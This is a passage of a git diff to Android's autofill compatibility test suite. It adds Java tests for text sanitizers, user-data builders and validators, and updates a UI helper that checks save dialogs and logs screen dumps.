+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("#id#");
+ mActivity.mPassword.setText("#pass#");
+ mActivity.mCommit.performClick();
+ });
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+ assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+ }
+
+ @Test
+ public void testDontSaveWhenSanitizedValueForRequiredFieldDidntChange() throws Exception {
+ startActivity();
+
+ // Set listeners that will change the saved value
+ new AntiTrimmerTextWatcher(mActivity.mInput);
+ new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId, passwordId)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("pass");
+ mActivity.mCommit.performClick();
+ });
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testDontSaveWhenSanitizedValueForOptionalFieldDidntChange() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setOptionalSavableIds(ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(Pattern.compile("(pass) "), "$1"), passwordId)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("#pass#");
+ mActivity.mCommit.performClick();
+ });
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testDontSaveWhenRequiredFieldFailedSanitization() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+ inputId, passwordId)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "#id#")
+ .setField(ID_PASSWORD, "#pass#")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("pass");
+ mActivity.mCommit.performClick();
+ });
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testDontSaveWhenOptionalFieldFailedSanitization() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setOptionalSavableIds(ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+ inputId, passwordId)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "#pass#")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("pass");
+ mActivity.mCommit.performClick();
+ });
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testExplicitySaveButton() throws Exception {
+ explicitySaveButtonTest(false, 0);
+ }
+
+ @Test
+ public void testExplicitySaveButtonWhenAppClearFields() throws Exception {
+ explicitySaveButtonTest(true, 0);
+ }
+
+ @Test
+ public void testExplicitySaveButtonOnly() throws Exception {
+ explicitySaveButtonTest(false, SaveInfo.FLAG_DONT_SAVE_ON_FINISH);
+ }
+
+ /**
+ * Tests scenario where service explicitly indicates which button is used to save.
+ */
+ private void explicitySaveButtonTest(boolean clearFieldsOnSubmit, int flags) throws Exception {
+ startActivity();
+ mActivity.setAutoCommit(false);
+ mActivity.setClearFieldsOnSubmit(clearFieldsOnSubmit);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setSaveTriggerId(mActivity.mCommit.getAutofillId())
+ .setSaveInfoFlags(flags)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Save it...
+ sUiBot.saveForAutofill(saveUi, true);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+ }
+
+ @Override
+ protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+ startActivity();
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final CustomDescription.Builder customDescription =
+ newCustomDescriptionBuilder(WelcomeActivity.class);
+ final RemoteViews update = newTemplate();
+ if (updateLinkView) {
+ update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+ } else {
+ update.setCharSequence(R.id.static_text, "setText", "ME!");
+ }
+ Validator validCondition = new RegexValidator(mActivity.mInput.getAutofillId(),
+ Pattern.compile(".*"));
+ customDescription.batchUpdate(validCondition,
+ new BatchUpdates.Builder().updateTemplate(update).build());
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(customDescription.build())
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi;
+ if (updateLinkView) {
+ saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC, "TAP ME IF YOU CAN");
+ } else {
+ saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+ final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+ assertThat(changed.getText()).isEqualTo("ME!");
+ }
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
new file mode 100644
index 0000000..572e3b1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.TextValueSanitizer;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillValue;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class TextValueSanitizerTest {
+
+ @Test
+ public void testConstructor_nullValues() {
+ assertThrows(NullPointerException.class,
+ () -> new TextValueSanitizer(Pattern.compile("42"), null));
+ assertThrows(NullPointerException.class,
+ () -> new TextValueSanitizer(null, "42"));
+ }
+
+ @Test
+ public void testSanitize_nullValue() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+ assertThat(sanitizer.sanitize(null)).isNull();
+ }
+
+ @Test
+ public void testSanitize_nonTextValue() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+ final AutofillValue value = AutofillValue.forToggle(true);
+ assertThat(sanitizer.sanitize(value)).isNull();
+ }
+
+ @Test
+ public void testSanitize_badRegex() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+ "$2"); // invalid group
+ final AutofillValue value = AutofillValue.forText("blah 42 blaH");
+ assertThat(sanitizer.sanitize(value)).isNull();
+ }
+
+ @Test
+ public void testSanitize_valueMismatch() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "xxx");
+ final AutofillValue value = AutofillValue.forText("43");
+ assertThat(sanitizer.sanitize(value)).isNull();
+ }
+
+ @Test
+ public void testSanitize_simpleMatch() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"),
+ "forty-two");
+ assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
+ .isEqualTo("forty-two");
+ }
+
+ @Test
+ public void testSanitize_multipleMatches() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+ "Number");
+ assertThat(sanitizer.sanitize(AutofillValue.forText("blah 42 blaH")).getTextValue())
+ .isEqualTo("NumberNumber");
+ }
+
+ @Test
+ public void testSanitize_groupSubstitutionMatch() {
+ final TextValueSanitizer sanitizer =
+ new TextValueSanitizer(Pattern.compile("\\s*(\\d*)\\s*"), "$1");
+ assertThat(sanitizer.sanitize(AutofillValue.forText(" 42 ")).getTextValue())
+ .isEqualTo("42");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 5611499..0623936 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -18,6 +18,7 @@
import static android.autofillservice.cts.Helper.NOT_SHOWING_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.UI_DATASET_PICKER_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -44,6 +45,7 @@
import android.util.Log;
import android.view.accessibility.AccessibilityWindowInfo;
+import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
@@ -59,6 +61,7 @@
private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
+ private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
@@ -70,6 +73,9 @@
private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
"autofill_save_type_email_address";
+ private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "save_password_notnow";
+ private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
+
private static final String RESOURCE_STRING_AUTOFILL = "autofill";
private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
"autofill_picker_accessibility_title";
@@ -84,13 +90,12 @@
/** Pass to {@link #setScreenOrientation(int)} to change the display to landscape mode */
public static int LANDSCAPE = 1;
-
private final UiDevice mDevice;
private final Context mContext;
private final String mPackageName;
private final UiAutomation mAutoman;
- UiBot(Instrumentation instrumentation) throws Exception {
+ UiBot(Instrumentation instrumentation) {
mDevice = UiDevice.getInstance(instrumentation);
mContext = instrumentation.getContext();
mPackageName = mContext.getPackageName();
@@ -118,7 +123,7 @@
* @return the dataset picker object.
*/
UiObject2 assertDatasets(String...names) {
- final UiObject2 picker = findDatasetPicker();
+ final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
.containsExactlyElementsIn(Arrays.asList(names));
return picker;
@@ -147,7 +152,7 @@
* Selects a dataset that should be visible in the floating UI.
*/
void selectDataset(String name) {
- final UiObject2 picker = findDatasetPicker();
+ final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
selectDataset(picker, name);
}
@@ -403,11 +408,15 @@
assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
}
- final String negativeButtonText = (negativeButtonStyle
- == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) ? "NOT NOW" : "NO THANKS";
- UiObject2 negativeButton = snackbar.findObject(By.text(negativeButtonText));
- assertWithMessage("negative button (%s)", negativeButtonText)
- .that(negativeButton).isNotNull();
+ final String negativeButtonStringId =
+ (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT)
+ ? RESOURCE_STRING_SAVE_BUTTON_NOT_NOW
+ : RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
+ final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
+ final UiObject2 negativeButton = waitForObject(snackbar,
+ By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), UI_TIMEOUT_MS);
+ assertWithMessage("wrong text on negative button")
+ .that(negativeButton.getText().toUpperCase()).isEqualTo(expectedNegativeButtonText);
final String expectedAccessibilityTitle =
getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
@@ -530,6 +539,8 @@
}
SystemClock.sleep(napTime);
}
+ Log.e(TAG, "waitForObject() for " + selector + "failed; dumping screen on System.out");
+ dumpScreen();
throw new RetryableException("Object with selector '%s' not found in %d ms",
selector, UI_TIMEOUT_MS);
@@ -575,10 +586,6 @@
selector, UI_TIMEOUT_MS);
}
- private UiObject2 findDatasetPicker() {
- return findDatasetPicker(UI_TIMEOUT_MS);
- }
-
private UiObject2 findDatasetPicker(long timeout) {
final UiObject2 picker = waitForObject(By.res("android", RESOURCE_ID_DATASET_PICKER),
timeout);
@@ -646,7 +653,22 @@
/**
* Dumps the current view hierarchy int the output stream.
*/
- public void dumpScreen() throws IOException {
- mDevice.dumpWindowHierarchy(System.out);
+ public void dumpScreen() {
+ try {
+ try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+ mDevice.dumpWindowHierarchy(os);
+ os.flush();
+ Log.w(TAG, "Window hierarchy:");
+ for (String line : os.toString("UTF-8").split("\n")) {
+ Log.w(TAG, line);
+ // Sleep a little bit to avoid logs being ignored due to spam
+ SystemClock.sleep(100);
+ }
+ }
+ } catch (IOException e) {
+ // Just ignore it...
+ Log.e(TAG, "exception dumping window hierarchy", e);
+ return;
+ }
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
new file mode 100644
index 0000000..e1100e8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.UserData;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.google.common.base.Strings;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UserDataTest {
+
+ private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
+ private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
+ + Strings.repeat("?", UserData.getMaxValueLength());
+ private final String mRemoteId = "id1";
+ private final String mRemoteId2 = "id2";
+ private final String mValue = mShortValue + "-1";
+ private final String mValue2 = mShortValue + "-2";
+ private final UserData.Builder mBuilder = new UserData.Builder(mRemoteId, mValue);
+
+ @Test
+ public void testBuilder_invalid() {
+ assertThrows(NullPointerException.class,
+ () -> new UserData.Builder(mRemoteId, null));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder(mRemoteId, ""));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder(mRemoteId, mShortValue));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder(mRemoteId, mLongValue));
+ assertThrows(NullPointerException.class,
+ () -> new UserData.Builder(null, mValue));
+ assertThrows(IllegalArgumentException.class,
+ () -> new UserData.Builder("", mValue));
+ }
+
+ @Test
+ public void testAdd_invalid() {
+ assertThrows(NullPointerException.class, () -> mBuilder.add(mRemoteId, null));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, ""));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mShortValue));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mLongValue));
+ assertThrows(NullPointerException.class, () -> mBuilder.add(null, mValue));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.add("", mValue));
+ }
+
+ @Test
+ public void testAdd_duplicatedId() {
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue2));
+ }
+
+ @Test
+ public void testAdd_maximumReached() {
+ // Must start from 1 because first is added on builder
+ for (int i = 1; i < UserData.getMaxFieldClassificationIdsSize() - 1; i++) {
+ mBuilder.add("ID" + i, mShortValue.toUpperCase() + i);
+ }
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue));
+ }
+
+ @Test
+ public void testBuild_valid() {
+ assertThat(mBuilder.build()).isNotNull();
+ }
+
+ @Test
+ public void testNoMoreInteractionsAfterBuild() {
+ testBuild_valid();
+
+ assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId2, mValue));
+ assertThrows(IllegalStateException.class, () -> mBuilder.build());
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
index 21ebac2..5214748 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
@@ -21,11 +21,14 @@
import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+
+import android.service.autofill.InternalValidator;
import android.service.autofill.LuhnChecksumValidator;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.Validator;
-import android.service.autofill.Validators;
-import android.support.annotation.NonNull;
+import android.service.autofill.ValueFinder;
import android.view.View;
import android.view.autofill.AutofillId;
@@ -34,9 +37,9 @@
import org.junit.Rule;
import org.junit.Test;
-import java.util.function.BiFunction;
-import java.util.regex.Pattern;
-
+/**
+ * Simple integration test to verify that the UI is only shown if the validator passes.
+ */
public class ValidatorTest extends AutoFillServiceTestCase {
@Rule
public final AutofillActivityTestRule<LoginActivity> mActivityRule =
@@ -54,24 +57,30 @@
WelcomeActivity.finishIt();
}
- /**
- * Base test
- *
- * @param validatorBuilder method to build a validator
- * @param willSaveBeShown Whether the save pop-up will be shown
- */
- private void testValidator(
- @NonNull BiFunction<AutofillId, AutofillId, Validator> validatorBuilder,
- boolean willSaveBeShown) throws Exception {
+ @Test
+ public void testShowUiWhenValidatorPass() throws Exception {
+ integrationTest(true);
+ }
+
+ @Test
+ public void testDontShowUiWhenValidatorFails() throws Exception {
+ integrationTest(false);
+ }
+
+ private void integrationTest(boolean willSaveBeShown) throws Exception {
enableService();
- AutofillId usernameId = mActivity.getUsername().getAutofillId();
- AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+
+ final String username = willSaveBeShown ? "7992739871-3" : "4815162342-108";
+ final LuhnChecksumValidator validator = new LuhnChecksumValidator(usernameId);
+ // Sanity check to make sure the validator is properly configured
+ assertValidator(validator, usernameId, username, willSaveBeShown);
// Set response
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
- .setValidator(validatorBuilder.apply(usernameId, passwordId))
+ .setValidator(validator)
.build());
// Trigger auto-fill
@@ -81,8 +90,8 @@
sReplier.getNextFillRequest();
// Trigger save.
- mActivity.onUsername((v) -> v.setText("7992739871-3"));
- mActivity.onPassword((v) -> v.setText("passwd"));
+ mActivity.onUsername((v) -> v.setText(username));
+ mActivity.onPassword((v) -> v.setText("pass"));
mActivity.tapLogin();
if (willSaveBeShown) {
@@ -95,45 +104,10 @@
assertNoDanglingSessions();
}
- @Test
- public void checkForInvalidField() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new LuhnChecksumValidator(new AutofillId(-1)),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkBoth() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.and(
- new LuhnChecksumValidator(usernameId),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkEither1() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new RegexValidator(usernameId, Pattern.compile("7.*")),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkEither2() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new RegexValidator(usernameId, Pattern.compile("invalid")),
- new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
- }
-
- @Test
- public void checkBothButFail() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.and(
- new RegexValidator(usernameId, Pattern.compile("7.*")),
- new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
- }
-
- @Test
- public void checkEitherButFail() throws Exception {
- testValidator((usernameId, passwordId) -> Validators.or(
- new RegexValidator(usernameId, Pattern.compile("invalid")),
- new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+ private void assertValidator(InternalValidator validator, AutofillId id, String text,
+ boolean valid) {
+ final ValueFinder valueFinder = mock(ValueFinder.class);
+ doReturn(text).when(valueFinder).findByAutofillId(id);
+ assertThat(validator.isValid(valueFinder)).isEqualTo(valid);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
new file mode 100644
index 0000000..6c7979d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.service.autofill.Validators.and;
+import static android.service.autofill.Validators.not;
+import static android.service.autofill.Validators.or;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.InternalValidator;
+import android.service.autofill.Validator;
+import android.service.autofill.ValueFinder;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+public class ValidatorsTest extends AutoFillServiceTestCase {
+
+ @Mock private Validator mInvalidValidator;
+ @Mock private ValueFinder mValueFinder;
+ @Mock private InternalValidator mValidValidator;
+ @Mock private InternalValidator mValidValidator2;
+
+ @Test
+ public void testAnd_null() {
+ assertThrows(NullPointerException.class, () -> and((Validator) null));
+ assertThrows(NullPointerException.class, () -> and(mValidValidator, null));
+ assertThrows(NullPointerException.class, () -> and(null, mValidValidator));
+ }
+
+ @Test
+ public void testAnd_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> and(mValidValidator, mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator, mValidValidator));
+ }
+
+ @Test
+ public void testAnd_firstFailed() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isFalse();
+ verify(mValidValidator2, never()).isValid(mValueFinder);
+ }
+
+ @Test
+ public void testAnd_firstPassedSecondFailed() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isFalse();
+ }
+
+ @Test
+ public void testAnd_AllPassed() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isTrue();
+ }
+
+ @Test
+ public void testOr_null() {
+ assertThrows(NullPointerException.class, () -> or((Validator) null));
+ assertThrows(NullPointerException.class, () -> or(mValidValidator, null));
+ assertThrows(NullPointerException.class, () -> or(null, mValidValidator));
+ }
+
+ @Test
+ public void testOr_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> or(mValidValidator, mInvalidValidator));
+ assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator, mValidValidator));
+ }
+
+ @Test
+ public void testOr_AllFailed() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+ assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isFalse();
+ }
+
+ @Test
+ public void testOr_firstPassed() {
+ doReturn(true).when(mValidValidator).isValid(mValueFinder);
+ assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+ .isValid(mValueFinder)).isTrue();
+ verify(mValidValidator2, never()).isValid(mValueFinder);
+ }
+
+ @Test
+ public void testOr_secondPassed() {
+ doReturn(false).when(mValidValidator).isValid(mValueFinder);
+ doReturn(true).when(mValidValidator2).isValid(mValueFinder);
